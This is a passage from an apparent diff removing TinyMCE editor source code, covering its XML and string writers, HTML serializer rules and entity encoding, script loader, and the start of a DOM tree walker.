bl.push(sb); - - if (sb && eb && sb != eb) { - n = sb; - - while ((n = n.nextSibling) && n != eb) { - if (dom.isBlock(n)) - bl.push(n); - } - } - - if (eb && sb != eb) - bl.push(eb); - - return bl; - }, - - destroy : function(s) { - var t = this; - - t.win = null; - - if (t.tridentSel) - t.tridentSel.destroy(); - - // Manual destroy then remove unload handler - if (!s) - tinymce.removeUnload(t.destroy); - } - }); -})(tinymce); - -(function(tinymce) { - tinymce.create('tinymce.dom.XMLWriter', { - node : null, - - XMLWriter : function(s) { - // Get XML document - function getXML() { - var i = document.implementation; - - if (!i || !i.createDocument) { - // Try IE objects - try {return new ActiveXObject('MSXML2.DOMDocument');} catch (ex) {} - try {return new ActiveXObject('Microsoft.XmlDom');} catch (ex) {} - } else - return i.createDocument('', '', null); - }; - - this.doc = getXML(); - - // Since Opera and WebKit doesn't escape > into &gt; we need to do it our self to normalize the output for all browsers - this.valid = tinymce.isOpera || tinymce.isWebKit; - - this.reset(); - }, - - reset : function() { - var t = this, d = t.doc; - - if (d.firstChild) - d.removeChild(d.firstChild); - - t.node = d.appendChild(d.createElement("html")); - }, - - writeStartElement : function(n) { - var t = this; - - t.node = t.node.appendChild(t.doc.createElement(n)); - }, - - writeAttribute : function(n, v) { - if (this.valid) - v = v.replace(/>/g, '%MCGT%'); - - this.node.setAttribute(n, v); - }, - - writeEndElement : function() { - this.node = this.node.parentNode; - }, - - writeFullEndElement : function() { - var t = this, n = t.node; - - n.appendChild(t.doc.createTextNode("")); - t.node = n.parentNode; - }, - - writeText : function(v) { - if (this.valid) - v = v.replace(/>/g, '%MCGT%'); - - this.node.appendChild(this.doc.createTextNode(v)); - }, - - writeCDATA : function(v) { - this.node.appendChild(this.doc.createCDATASection(v)); - }, - - writeComment : function(v) { - // Fix for bug #2035694 - if (tinymce.isIE) - v = v.replace(/^\-|\-$/g, ' '); - - this.node.appendChild(this.doc.createComment(v.replace(/\-\-/g, ' '))); - }, - - getContent : function() { - var h; - - h = this.doc.xml || new XMLSerializer().serializeToString(this.doc); - h = h.replace(/<\?[^?]+\?>|<html>|<\/html>|<html\/>|<!DOCTYPE[^>]+>/g, ''); - h = h.replace(/ ?\/>/g, ' />'); - - if (this.valid) - h = h.replace(/\%MCGT%/g, '&gt;'); - - return h; - } - }); -})(tinymce); - -(function(tinymce) { - tinymce.create('tinymce.dom.StringWriter', { - str : null, - tags : null, - count : 0, - settings : null, - indent : null, - - StringWriter : function(s) { - this.settings = tinymce.extend({ - indent_char : ' ', - indentation : 0 - }, s); - - this.reset(); - }, - - reset : function() { - this.indent = ''; - this.str = ""; - this.tags = []; - this.count = 0; - }, - - writeStartElement : function(n) { - this._writeAttributesEnd(); - this.writeRaw('<' + n); - this.tags.push(n); - this.inAttr = true; - this.count++; - this.elementCount = this.count; - }, - - writeAttribute : function(n, v) { - var t = this; - - t.writeRaw(" " + t.encode(n) + '="' + t.encode(v) + '"'); - }, - - writeEndElement : function() { - var n; - - if (this.tags.length > 0) { - n = this.tags.pop(); - - if (this._writeAttributesEnd(1)) - this.writeRaw('</' + n + '>'); - - if (this.settings.indentation > 0) - this.writeRaw('\n'); - } - }, - - writeFullEndElement : function() { - if (this.tags.length > 0) { - this._writeAttributesEnd(); - this.writeRaw('</' + this.tags.pop() + '>'); - - if (this.settings.indentation > 0) - this.writeRaw('\n'); - } - }, - - writeText : function(v) { - this._writeAttributesEnd(); - this.writeRaw(this.encode(v)); - this.count++; - }, - - writeCDATA : function(v) { - this._writeAttributesEnd(); - this.writeRaw('<![CDATA[' + v + ']]>'); - this.count++; - }, - - writeComment : function(v) { - this._writeAttributesEnd(); - this.writeRaw('<!-- ' + v + '-->'); - this.count++; - }, - - writeRaw : function(v) { - this.str += v; - }, - - encode : function(s) { - return s.replace(/[<>&"]/g, function(v) { - switch (v) { - case '<': - return '&lt;'; - - case '>': - return '&gt;'; - - case '&': - return '&amp;'; - - case '"': - return '&quot;'; - } - - return v; - }); - }, - - getContent : function() { - return this.str; - }, - - _writeAttributesEnd : function(s) { - if (!this.inAttr) - return; - - this.inAttr = false; - - if (s && this.elementCount == this.count) { - this.writeRaw(' />'); - return false; - } - - this.writeRaw('>'); - - return true; - } - }); -})(tinymce); - -(function(tinymce) { - // Shorten names - var extend = tinymce.extend, each = tinymce.each, Dispatcher = tinymce.util.Dispatcher, isIE = tinymce.isIE, isGecko = tinymce.isGecko; - - function wildcardToRE(s) { - return s.replace(/([?+*])/g, '.$1'); - }; - - tinymce.create('tinymce.dom.Serializer', { - Serializer : function(s) { - var t = this; - - t.key = 0; - t.onPreProcess = new Dispatcher(t); - t.onPostProcess = new Dispatcher(t); - - try { - t.writer = new tinymce.dom.XMLWriter(); - } catch (ex) { - // IE might throw exception if ActiveX is disabled so we then switch to the slightly slower StringWriter - t.writer = new tinymce.dom.StringWriter(); - } - - // Default settings - t.settings = s = extend({ - dom : tinymce.DOM, - valid_nodes : 0, - node_filter : 0, - attr_filter : 0, - invalid_attrs : /^(_mce_|_moz_|sizset|sizcache)/, - closed : /^(br|hr|input|meta|img|link|param|area)$/, - entity_encoding : 'named', - entities : '160,nbsp,161,iexcl,162,cent,163,pound,164,curren,165,yen,166,brvbar,167,sect,168,uml,169,copy,170,ordf,171,laquo,172,not,173,shy,174,reg,175,macr,176,deg,177,plusmn,178,sup2,179,sup3,180,acute,181,micro,182,para,183,middot,184,cedil,185,sup1,186,ordm,187,raquo,188,frac14,189,frac12,190,frac34,191,iquest,192,Agrave,193,Aacute,194,Acirc,195,Atilde,196,Auml,197,Aring,198,AElig,199,Ccedil,200,Egrave,201,Eacute,202,Ecirc,203,Euml,204,Igrave,205,Iacute,206,Icirc,207,Iuml,208,ETH,209,Ntilde,210,Ograve,211,Oacute,212,Ocirc,213,Otilde,214,Ouml,215,times,216,Oslash,217,Ugrave,218,Uacute,219,Ucirc,220,Uuml,221,Yacute,222,THORN,223,szlig,224,agrave,225,aacute,226,acirc,227,atilde,228,auml,229,aring,230,aelig,231,ccedil,232,egrave,233,eacute,234,ecirc,235,euml,236,igrave,237,iacute,238,icirc,239,iuml,240,eth,241,ntilde,242,ograve,243,oacute,244,ocirc,245,otilde,246,ouml,247,divide,248,oslash,249,ugrave,250,uacute,251,ucirc,252,uuml,253,yacute,254,thorn,255,yuml,402,fnof,913,Alpha,914,Beta,915,Gamma,916,Delta,917,Epsilon,918,Zeta,919,Eta,920,Theta,921,Iota,922,Kappa,923,Lambda,924,Mu,925,Nu,926,Xi,927,Omicron,928,Pi,929,Rho,931,Sigma,932,Tau,933,Upsilon,934,Phi,935,Chi,936,Psi,937,Omega,945,alpha,946,beta,947,gamma,948,delta,949,epsilon,950,zeta,951,eta,952,theta,953,iota,954,kappa,955,lambda,956,mu,957,nu,958,xi,959,omicron,960,pi,961,rho,962,sigmaf,963,sigma,964,tau,965,upsilon,966,phi,967,chi,968,psi,969,omega,977,thetasym,978,upsih,982,piv,8226,bull,8230,hellip,8242,prime,8243,Prime,8254,oline,8260,frasl,8472,weierp,8465,image,8476,real,8482,trade,8501,alefsym,8592,larr,8593,uarr,8594,rarr,8595,darr,8596,harr,8629,crarr,8656,lArr,8657,uArr,8658,rArr,8659,dArr,8660,hArr,8704,forall,8706,part,8707,exist,8709,empty,8711,nabla,8712,isin,8713,notin,8715,ni,8719,prod,8721,sum,8722,minus,8727,lowast,8730,radic,8733,prop,8734,infin,8736,ang,8743,and,8744,or,8745,cap,8746,cup,8747,int,8756,there4,8764,sim,8773,cong,8776,asymp,8800,ne,8801,equiv,8804,le,8805,ge,8834,sub,8835,sup,8836,nsub,8838,sube,8839,supe,8853,oplus,8855,otimes,8869,perp,8901,sdot,8968,lceil,8969,rceil,8970,lfloor,8971,rfloor,9001,lang,9002,rang,9674,loz,9824,spades,9827,clubs,9829,hearts,9830,diams,338,OElig,339,oelig,352,Scaron,353,scaron,376,Yuml,710,circ,732,tilde,8194,ensp,8195,emsp,8201,thinsp,8204,zwnj,8205,zwj,8206,lrm,8207,rlm,8211,ndash,8212,mdash,8216,lsquo,8217,rsquo,8218,sbquo,8220,ldquo,8221,rdquo,8222,bdquo,8224,dagger,8225,Dagger,8240,permil,8249,lsaquo,8250,rsaquo,8364,euro', - valid_elements : '*[*]', - extended_valid_elements : 0, - invalid_elements : 0, - fix_table_elements : 1, - fix_list_elements : true, - fix_content_duplication : true, - convert_fonts_to_spans : false, - font_size_classes : 0, - apply_source_formatting : 0, - indent_mode : 'simple', - indent_char : '\t', - indent_levels : 1, - remove_linebreaks : 1, - remove_redundant_brs : 1, - element_format : 'xhtml' - }, s); - - t.dom = s.dom; - t.schema = s.schema; - - // Use raw entities if no entities are defined - if (s.entity_encoding == 'named' && !s.entities) - s.entity_encoding = 'raw'; - - if (s.remove_redundant_brs) { - t.onPostProcess.add(function(se, o) { - // Remove single BR at end of block elements since they get rendered - o.content = o.content.replace(/(<br \/>\s*)+<\/(p|h[1-6]|div|li)>/gi, function(a, b, c) { - // Check if it's a single element - if (/^<br \/>\s*<\//.test(a)) - return '</' + c + '>'; - - return a; - }); - }); - } - - // Remove XHTML element endings i.e. produce crap :) XHTML is better - if (s.element_format == 'html') { - t.onPostProcess.add(function(se, o) { - o.content = o.content.replace(/<([^>]+) \/>/g, '<$1>'); - }); - } - - if (s.fix_list_elements) { - t.onPreProcess.add(function(se, o) { - var nl, x, a = ['ol', 'ul'], i, n, p, r = /^(OL|UL)$/, np; - - function prevNode(e, n) { - var a = n.split(','), i; - - while ((e = e.previousSibling) != null) { - for (i=0; i<a.length; i++) { - if (e.nodeName == a[i]) - return e; - } - } - - return null; - }; - - for (x=0; x<a.length; x++) { - nl = t.dom.select(a[x], o.node); - - for (i=0; i<nl.length; i++) { - n = nl[i]; - p = n.parentNode; - - if (r.test(p.nodeName)) { - np = prevNode(n, 'LI'); - - if (!np) { - np = t.dom.create('li'); - np.innerHTML = '&nbsp;'; - np.appendChild(n); - p.insertBefore(np, p.firstChild); - } else - np.appendChild(n); - } - } - } - }); - } - - if (s.fix_table_elements) { - t.onPreProcess.add(function(se, o) { - // Since Opera will crash if you attach the node to a dynamic document we need to brrowser sniff a specific build - // so Opera users with an older version will have to live with less compaible output not much we can do here - if (!tinymce.isOpera || opera.buildNumber() >= 1767) { - each(t.dom.select('p table', o.node).reverse(), function(n) { - var parent = t.dom.getParent(n.parentNode, 'table,p'); - - if (parent.nodeName != 'TABLE') { - try { - t.dom.split(parent, n); - } catch (ex) { - // IE can sometimes fire an unknown runtime error so we just ignore it - } - } - }); - } - }); - } - }, - - setEntities : function(s) { - var t = this, a, i, l = {}, v; - - // No need to setup more than once - if (t.entityLookup) - return; - - // Build regex and lookup array - a = s.split(','); - for (i = 0; i < a.length; i += 2) { - v = a[i]; - - // Don't add default &amp; &quot; etc. - if (v == 34 || v == 38 || v == 60 || v == 62) - continue; - - l[String.fromCharCode(a[i])] = a[i + 1]; - - v = parseInt(a[i]).toString(16); - } - - t.entityLookup = l; - }, - - setRules : function(s) { - var t = this; - - t._setup(); - t.rules = {}; - t.wildRules = []; - t.validElements = {}; - - return t.addRules(s); - }, - - addRules : function(s) { - var t = this, dr; - - if (!s) - return; - - t._setup(); - - each(s.split(','), function(s) { - var p = s.split(/\[|\]/), tn = p[0].split('/'), ra, at, wat, va = []; - - // Extend with default rules - if (dr) - at = tinymce.extend([], dr.attribs); - - // Parse attributes - if (p.length > 1) { - each(p[1].split('|'), function(s) { - var ar = {}, i; - - at = at || []; - - // Parse attribute rule - s = s.replace(/::/g, '~'); - s = /^([!\-])?([\w*.?~_\-]+|)([=:<])?(.+)?$/.exec(s); - s[2] = s[2].replace(/~/g, ':'); - - // Add required attributes - if (s[1] == '!') { - ra = ra || []; - ra.push(s[2]); - } - - // Remove inherited attributes - if (s[1] == '-') { - for (i = 0; i <at.length; i++) { - if (at[i].name == s[2]) { - at.splice(i, 1); - return; - } - } - } - - switch (s[3]) { - // Add default attrib values - case '=': - ar.defaultVal = s[4] || ''; - break; - - // Add forced attrib values - case ':': - ar.forcedVal = s[4]; - break; - - // Add validation values - case '<': - ar.validVals = s[4].split('?'); - break; - } - - if (/[*.?]/.test(s[2])) { - wat = wat || []; - ar.nameRE = new RegExp('^' + wildcardToRE(s[2]) + '$'); - wat.push(ar); - } else { - ar.name = s[2]; - at.push(ar); - } - - va.push(s[2]); - }); - } - - // Handle element names - each(tn, function(s, i) { - var pr = s.charAt(0), x = 1, ru = {}; - - // Extend with default rule data - if (dr) { - if (dr.noEmpty) - ru.noEmpty = dr.noEmpty; - - if (dr.fullEnd) - ru.fullEnd = dr.fullEnd; - - if (dr.padd) - ru.padd = dr.padd; - } - - // Handle prefixes - switch (pr) { - case '-': - ru.noEmpty = true; - break; - - case '+': - ru.fullEnd = true; - break; - - case '#': - ru.padd = true; - break; - - default: - x = 0; - } - - tn[i] = s = s.substring(x); - t.validElements[s] = 1; - - // Add element name or element regex - if (/[*.?]/.test(tn[0])) { - ru.nameRE = new RegExp('^' + wildcardToRE(tn[0]) + '$'); - t.wildRules = t.wildRules || {}; - t.wildRules.push(ru); - } else { - ru.name = tn[0]; - - // Store away default rule - if (tn[0] == '@') - dr = ru; - - t.rules[s] = ru; - } - - ru.attribs = at; - - if (ra) - ru.requiredAttribs = ra; - - if (wat) { - // Build valid attributes regexp - s = ''; - each(va, function(v) { - if (s) - s += '|'; - - s += '(' + wildcardToRE(v) + ')'; - }); - ru.validAttribsRE = new RegExp('^' + s.toLowerCase() + '$'); - ru.wildAttribs = wat; - } - }); - }); - - // Build valid elements regexp - s = ''; - each(t.validElements, function(v, k) { - if (s) - s += '|'; - - if (k != '@') - s += k; - }); - t.validElementsRE = new RegExp('^(' + wildcardToRE(s.toLowerCase()) + ')$'); - - //console.debug(t.validElementsRE.toString()); - //console.dir(t.rules); - //console.dir(t.wildRules); - }, - - findRule : function(n) { - var t = this, rl = t.rules, i, r; - - t._setup(); - - // Exact match - r = rl[n]; - if (r) - return r; - - // Try wildcards - rl = t.wildRules; - for (i = 0; i < rl.length; i++) { - if (rl[i].nameRE.test(n)) - return rl[i]; - } - - return null; - }, - - findAttribRule : function(ru, n) { - var i, wa = ru.wildAttribs; - - for (i = 0; i < wa.length; i++) { - if (wa[i].nameRE.test(n)) - return wa[i]; - } - - return null; - }, - - serialize : function(n, o) { - var h, t = this, doc, oldDoc, impl, selected; - - t._setup(); - o = o || {}; - o.format = o.format || 'html'; - t.processObj = o; - - // IE looses the selected attribute on option elements so we need to store it - // See: http://support.microsoft.com/kb/829907 - if (isIE) { - selected = []; - each(n.getElementsByTagName('option'), function(n) { - var v = t.dom.getAttrib(n, 'selected'); - - selected.push(v ? v : null); - }); - } - - n = n.cloneNode(true); - - // IE looses the selected attribute on option elements so we need to restore it - if (isIE) { - each(n.getElementsByTagName('option'), function(n, i) { - t.dom.setAttrib(n, 'selected', selected[i]); - }); - } - - // Nodes needs to be attached to something in WebKit/Opera - // Older builds of Opera crashes if you attach the node to an document created dynamically - // and since we can't feature detect a crash we need to sniff the acutal build number - // This fix will make DOM ranges and make Sizzle happy! - impl = n.ownerDocument.implementation; - if (impl.createHTMLDocument && (tinymce.isOpera && opera.buildNumber() >= 1767)) { - // Create an empty HTML document - doc = impl.createHTMLDocument(""); - - // Add the element or it's children if it's a body element to the new document - each(n.nodeName == 'BODY' ? n.childNodes : [n], function(node) { - doc.body.appendChild(doc.importNode(node, true)); - }); - - // Grab first child or body element for serialization - if (n.nodeName != 'BODY') - n = doc.body.firstChild; - else - n = doc.body; - - // set the new document in DOMUtils so createElement etc works - oldDoc = t.dom.doc; - t.dom.doc = doc; - } - - t.key = '' + (parseInt(t.key) + 1); - - // Pre process - if (!o.no_events) { - o.node = n; - t.onPreProcess.dispatch(t, o); - } - - // Serialize HTML DOM into a string - t.writer.reset(); - t._info = o; - t._serializeNode(n, o.getInner); - - // Post process - o.content = t.writer.getContent(); - - // Restore the old document if it was changed - if (oldDoc) - t.dom.doc = oldDoc; - - if (!o.no_events) - t.onPostProcess.dispatch(t, o); - - t._postProcess(o); - o.node = null; - - return tinymce.trim(o.content); - }, - - // Internal functions - - _postProcess : function(o) { - var t = this, s = t.settings, h = o.content, sc = [], p; - - if (o.format == 'html') { - // Protect some elements - p = t._protect({ - content : h, - patterns : [ - {pattern : /(<script[^>]*>)(.*?)(<\/script>)/g}, - {pattern : /(<noscript[^>]*>)(.*?)(<\/noscript>)/g}, - {pattern : /(<style[^>]*>)(.*?)(<\/style>)/g}, - {pattern : /(<pre[^>]*>)(.*?)(<\/pre>)/g, encode : 1}, - {pattern : /(<!--\[CDATA\[)(.*?)(\]\]-->)/g} - ] - }); - - h = p.content; - - // Entity encode - if (s.entity_encoding !== 'raw') - h = t._encode(h); - - // Use BR instead of &nbsp; padded P elements inside editor and use <p>&nbsp;</p> outside editor -/* if (o.set) - h = h.replace(/<p>\s+(&nbsp;|&#160;|\u00a0|<br \/>)\s+<\/p>/g, '<p><br /></p>'); - else - h = h.replace(/<p>\s+(&nbsp;|&#160;|\u00a0|<br \/>)\s+<\/p>/g, '<p>$1</p>');*/ - - // Since Gecko and Safari keeps whitespace in the DOM we need to - // remove it inorder to match other browsers. But I think Gecko and Safari is right. - // This process is only done when getting contents out from the editor. - if (!o.set) { - // We need to replace paragraph whitespace with an nbsp before indentation to keep the \u00a0 char - h = h.replace(/<p>\s+<\/p>|<p([^>]+)>\s+<\/p>/g, s.entity_encoding == 'numeric' ? '<p$1>&#160;</p>' : '<p$1>&nbsp;</p>'); - - if (s.remove_linebreaks) { - h = h.replace(/\r?\n|\r/g, ' '); - h = h.replace(/(<[^>]+>)\s+/g, '$1 '); - h = h.replace(/\s+(<\/[^>]+>)/g, ' $1'); - h = h.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object) ([^>]+)>\s+/g, '<$1 $2>'); // Trim block start - h = h.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>\s+/g, '<$1>'); // Trim block start - h = h.replace(/\s+<\/(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>/g, '</$1>'); // Trim block end - } - - // Simple indentation - if (s.apply_source_formatting && s.indent_mode == 'simple') { - // Add line breaks before and after block elements - h = h.replace(/<(\/?)(ul|hr|table|meta|link|tbody|tr|object|body|head|html|map)(|[^>]+)>\s*/g, '\n<$1$2$3>\n'); - h = h.replace(/\s*<(p|h[1-6]|blockquote|div|title|style|pre|script|td|li|area)(|[^>]+)>/g, '\n<$1$2>'); - h = h.replace(/<\/(p|h[1-6]|blockquote|div|title|style|pre|script|td|li)>\s*/g, '</$1>\n'); - h = h.replace(/\n\n/g, '\n'); - } - } - - h = t._unprotect(h, p); - - // Restore CDATA sections - h = h.replace(/<!--\[CDATA\[([\s\S]+)\]\]-->/g, '<![CDATA[$1]]>'); - - // Restore the \u00a0 character if raw mode is enabled - if (s.entity_encoding == 'raw') - h = h.replace(/<p>&nbsp;<\/p>|<p([^>]+)>&nbsp;<\/p>/g, '<p$1>\u00a0</p>'); - - // Restore noscript elements - h = h.replace(/<noscript([^>]+|)>([\s\S]*?)<\/noscript>/g, function(v, attribs, text) { - return '<noscript' + attribs + '>' + t.dom.decode(text.replace(/<!--|-->/g, '')) + '</noscript>'; - }); - } - - o.content = h; - }, - - _serializeNode : function(n, inner) { - var t = this, s = t.settings, w = t.writer, hc, el, cn, i, l, a, at, no, v, nn, ru, ar, iv, closed, keep, type, scopeName; - - if (!s.node_filter || s.node_filter(n)) { - switch (n.nodeType) { - case 1: // Element - if (n.hasAttribute ? n.hasAttribute('_mce_bogus') : n.getAttribute('_mce_bogus')) - return; - - iv = keep = false; - hc = n.hasChildNodes(); - nn = n.getAttribute('_mce_name') || n.nodeName.toLowerCase(); - - // Get internal type - type = n.getAttribute('_mce_type'); - if (type) { - if (!t._info.cleanup) { - iv = true; - return; - } else - keep = 1; - } - - // Add correct prefix on IE - if (isIE) { - scopeName = n.scopeName; - if (scopeName && scopeName !== 'HTML' && scopeName !== 'html') - nn = scopeName + ':' + nn; - } - - // Remove mce prefix on IE needed for the abbr element - if (nn.indexOf('mce:') === 0) - nn = nn.substring(4); - - // Check if valid - if (!keep) { - if (!t.validElementsRE || !t.validElementsRE.test(nn) || (t.invalidElementsRE && t.invalidElementsRE.test(nn)) || inner) { - iv = true; - break; - } - } - - if (isIE) { - // Fix IE content duplication (DOM can have multiple copies of the same node) - if (s.fix_content_duplication) { - if (n._mce_serialized == t.key) - return; - - n._mce_serialized = t.key; - } - - // IE sometimes adds a / infront of the node name - if (nn.charAt(0) == '/') - nn = nn.substring(1); - } else if (isGecko) { - // Ignore br elements - if (n.nodeName === 'BR' && n.getAttribute('type') == '_moz') - return; - } - - // Check if valid child - if (s.validate_children) { - if (t.elementName && !t.schema.isValid(t.elementName, nn)) { - iv = true; - break; - } - - t.elementName = nn; - } - - ru = t.findRule(nn); - - // No valid rule for this element could be found then skip it - if (!ru) { - iv = true; - break; - } - - nn = ru.name || nn; - closed = s.closed.test(nn); - - // Skip empty nodes or empty node name in IE - if ((!hc && ru.noEmpty) || (isIE && !nn)) { - iv = true; - break; - } - - // Check required - if (ru.requiredAttribs) { - a = ru.requiredAttribs; - - for (i = a.length - 1; i >= 0; i--) { - if (this.dom.getAttrib(n, a[i]) !== '') - break; - } - - // None of the required was there - if (i == -1) { - iv = true; - break; - } - } - - w.writeStartElement(nn); - - // Add ordered attributes - if (ru.attribs) { - for (i=0, at = ru.attribs, l = at.length; i<l; i++) { - a = at[i]; - v = t._getAttrib(n, a); - - if (v !== null) - w.writeAttribute(a.name, v); - } - } - - // Add wild attributes - if (ru.validAttribsRE) { - at = t.dom.getAttribs(n); - for (i=at.length-1; i>-1; i--) { - no = at[i]; - - if (no.specified) { - a = no.nodeName.toLowerCase(); - - if (s.invalid_attrs.test(a) || !ru.validAttribsRE.test(a)) - continue; - - ar = t.findAttribRule(ru, a); - v = t._getAttrib(n, ar, a); - - if (v !== null) - w.writeAttribute(a, v); - } - } - } - - // Keep type attribute - if (type && keep) - w.writeAttribute('_mce_type', type); - - // Write text from script - if (nn === 'script' && tinymce.trim(n.innerHTML)) { - w.writeText('// '); // Padd it with a comment so it will parse on older browsers - w.writeCDATA(n.innerHTML.replace(/<!--|-->|<\[CDATA\[|\]\]>/g, '')); // Remove comments and cdata stuctures - hc = false; - break; - } - - // Padd empty nodes with a &nbsp; - if (ru.padd) { - // If it has only one bogus child, padd it anyway workaround for <td><br /></td> bug - if (hc && (cn = n.firstChild) && cn.nodeType === 1 && n.childNodes.length === 1) { - if (cn.hasAttribute ? cn.hasAttribute('_mce_bogus') : cn.getAttribute('_mce_bogus')) - w.writeText('\u00a0'); - } else if (!hc) - w.writeText('\u00a0'); // No children then padd it - } - - break; - - case 3: // Text - // Check if valid child - if (s.validate_children && t.elementName && !t.schema.isValid(t.elementName, '#text')) - return; - - return w.writeText(n.nodeValue); - - case 4: // CDATA - return w.writeCDATA(n.nodeValue); - - case 8: // Comment - return w.writeComment(n.nodeValue); - } - } else if (n.nodeType == 1) - hc = n.hasChildNodes(); - - if (hc && !closed) { - cn = n.firstChild; - - while (cn) { - t._serializeNode(cn); - t.elementName = nn; - cn = cn.nextSibling; - } - } - - // Write element end - if (!iv) { - if (!closed) - w.writeFullEndElement(); - else - w.writeEndElement(); - } - }, - - _protect : function(o) { - var t = this; - - o.items = o.items || []; - - function enc(s) { - return s.replace(/[\r\n\\]/g, function(c) { - if (c === '\n') - return '\\n'; - else if (c === '\\') - return '\\\\'; - - return '\\r'; - }); - }; - - function dec(s) { - return s.replace(/\\[\\rn]/g, function(c) { - if (c === '\\n') - return '\n'; - else if (c === '\\\\') - return '\\'; - - return '\r'; - }); - }; - - each(o.patterns, function(p) { - o.content = dec(enc(o.content).replace(p.pattern, function(x, a, b, c) { - b = dec(b); - - if (p.encode) - b = t._encode(b); - - o.items.push(b); - return a + '<!--mce:' + (o.items.length - 1) + '-->' + c; - })); - }); - - return o; - }, - - _unprotect : function(h, o) { - h = h.replace(/\<!--mce:([0-9]+)--\>/g, function(a, b) { - return o.items[parseInt(b)]; - }); - - o.items = []; - - return h; - }, - - _encode : function(h) { - var t = this, s = t.settings, l; - - // Entity encode - if (s.entity_encoding !== 'raw') { - if (s.entity_encoding.indexOf('named') != -1) { - t.setEntities(s.entities); - l = t.entityLookup; - - h = h.replace(/[\u007E-\uFFFF]/g, function(a) { - var v; - - if (v = l[a]) - a = '&' + v + ';'; - - return a; - }); - } - - if (s.entity_encoding.indexOf('numeric') != -1) { - h = h.replace(/[\u007E-\uFFFF]/g, function(a) { - return '&#' + a.charCodeAt(0) + ';'; - }); - } - } - - return h; - }, - - _setup : function() { - var t = this, s = this.settings; - - if (t.done) - return; - - t.done = 1; - - t.setRules(s.valid_elements); - t.addRules(s.extended_valid_elements); - - if (s.invalid_elements) - t.invalidElementsRE = new RegExp('^(' + wildcardToRE(s.invalid_elements.replace(/,/g, '|').toLowerCase()) + ')$'); - - if (s.attrib_value_filter) - t.attribValueFilter = s.attribValueFilter; - }, - - _getAttrib : function(n, a, na) { - var i, v; - - na = na || a.name; - - if (a.forcedVal && (v = a.forcedVal)) { - if (v === '{$uid}') - return this.dom.uniqueId(); - - return v; - } - - v = this.dom.getAttrib(n, na); - - switch (na) { - case 'rowspan': - case 'colspan': - // Whats the point? Remove usless attribute value - if (v == '1') - v = ''; - - break; - } - - if (this.attribValueFilter) - v = this.attribValueFilter(na, v, n); - - if (a.validVals) { - for (i = a.validVals.length - 1; i >= 0; i--) { - if (v == a.validVals[i]) - break; - } - - if (i == -1) - return null; - } - - if (v === '' && typeof(a.defaultVal) != 'undefined') { - v = a.defaultVal; - - if (v === '{$uid}') - return this.dom.uniqueId(); - - return v; - } else { - // Remove internal mceItemXX classes when content is extracted from editor - if (na == 'class' && this.processObj.get) - v = v.replace(/\s?mceItem\w+\s?/g, ''); - } - - if (v === '') - return null; - - - return v; - } - }); -})(tinymce); - -(function(tinymce) { - tinymce.dom.ScriptLoader = function(settings) { - var QUEUED = 0, - LOADING = 1, - LOADED = 2, - states = {}, - queue = [], - scriptLoadedCallbacks = {}, - queueLoadedCallbacks = [], - loading = 0, - undefined; - - function loadScript(url, callback) { - var t = this, dom = tinymce.DOM, elm, uri, loc, id; - - // Execute callback when script is loaded - function done() { - dom.remove(id); - - if (elm) - elm.onreadystatechange = elm.onload = elm = null; - - callback(); - }; - - id = dom.uniqueId(); - - if (tinymce.isIE6) { - uri = new tinymce.util.URI(url); - loc = location; - - // If script is from same domain and we - // use IE 6 then use XHR since it's more reliable - if (uri.host == loc.hostname && uri.port == loc.port && (uri.protocol + ':') == loc.protocol) { - tinymce.util.XHR.send({ - url : tinymce._addVer(uri.getURI()), - success : function(content) { - // Create new temp script element - var script = dom.create('script', { - type : 'text/javascript' - }); - - // Evaluate script in global scope - script.text = content; - document.getElementsByTagName('head')[0].appendChild(script); - dom.remove(script); - - done(); - } - }); - - return; - } - } - - // Create new script element - elm = dom.create('script', { - id : id, - type : 'text/javascript', - src : tinymce._addVer(url) - }); - - // Add onload and readystate listeners - elm.onload = done; - elm.onreadystatechange = function() { - var state = elm.readyState; - - // Loaded state is passed on IE 6 however there - // are known issues with this method but we can't use - // XHR in a cross domain loading - if (state == 'complete' || state == 'loaded') - done(); - }; - - // Most browsers support this feature so we report errors - // for those at least to help users track their missing plugins etc - // todo: Removed since it produced error if the document is unloaded by navigating away, re-add it as an option - /*elm.onerror = function() { - alert('Failed to load: ' + url); - };*/ - - // Add script to document - (document.getElementsByTagName('head')[0] || document.body).appendChild(elm); - }; - - this.isDone = function(url) { - return states[url] == LOADED; - }; - - this.markDone = function(url) { - states[url] = LOADED; - }; - - this.add = this.load = function(url, callback, scope) { - var item, state = states[url]; - - // Add url to load queue - if (state == undefined) { - queue.push(url); - states[url] = QUEUED; - } - - if (callback) { - // Store away callback for later execution - if (!scriptLoadedCallbacks[url]) - scriptLoadedCallbacks[url] = []; - - scriptLoadedCallbacks[url].push({ - func : callback, - scope : scope || this - }); - } - }; - - this.loadQueue = function(callback, scope) { - this.loadScripts(queue, callback, scope); - }; - - this.loadScripts = function(scripts, callback, scope) { - var loadScripts; - - function execScriptLoadedCallbacks(url) { - // Execute URL callback functions - tinymce.each(scriptLoadedCallbacks[url], function(callback) { - callback.func.call(callback.scope); - }); - - scriptLoadedCallbacks[url] = undefined; - }; - - queueLoadedCallbacks.push({ - func : callback, - scope : scope || this - }); - - loadScripts = function() { - var loadingScripts = tinymce.grep(scripts); - - // Current scripts has been handled - scripts.length = 0; - - // Load scripts that needs to be loaded - tinymce.each(loadingScripts, function(url) { - // Script is already loaded then execute script callbacks directly - if (states[url] == LOADED) { - execScriptLoadedCallbacks(url); - return; - } - - // Is script not loading then start loading it - if (states[url] != LOADING) { - states[url] = LOADING; - loading++; - - loadScript(url, function() { - states[url] = LOADED; - loading--; - - execScriptLoadedCallbacks(url); - - // Load more scripts if they where added by the recently loaded script - loadScripts(); - }); - } - }); - - // No scripts are currently loading then execute all pending queue loaded callbacks - if (!loading) { - tinymce.each(queueLoadedCallbacks, function(callback) { - callback.func.call(callback.scope); - }); - - queueLoadedCallbacks.length = 0; - } - }; - - loadScripts(); - }; - }; - - // Global script loader - tinymce.ScriptLoader = new tinymce.dom.ScriptLoader(); -})(tinymce); - -tinymce.dom.TreeWalker = function(start_node, root_node) { - var node = start_node; - - function findSibling(node, start_name, sibling_name, shallow) { - var sibling, parent; - - if (node) { - // Walk into nodes if it has a start - if (!shallow && node[start_name]) - return node[start_name]; - - // Return the sibling if it has one - if (node != root_node) { - sibling = node[sibling_name]; - if 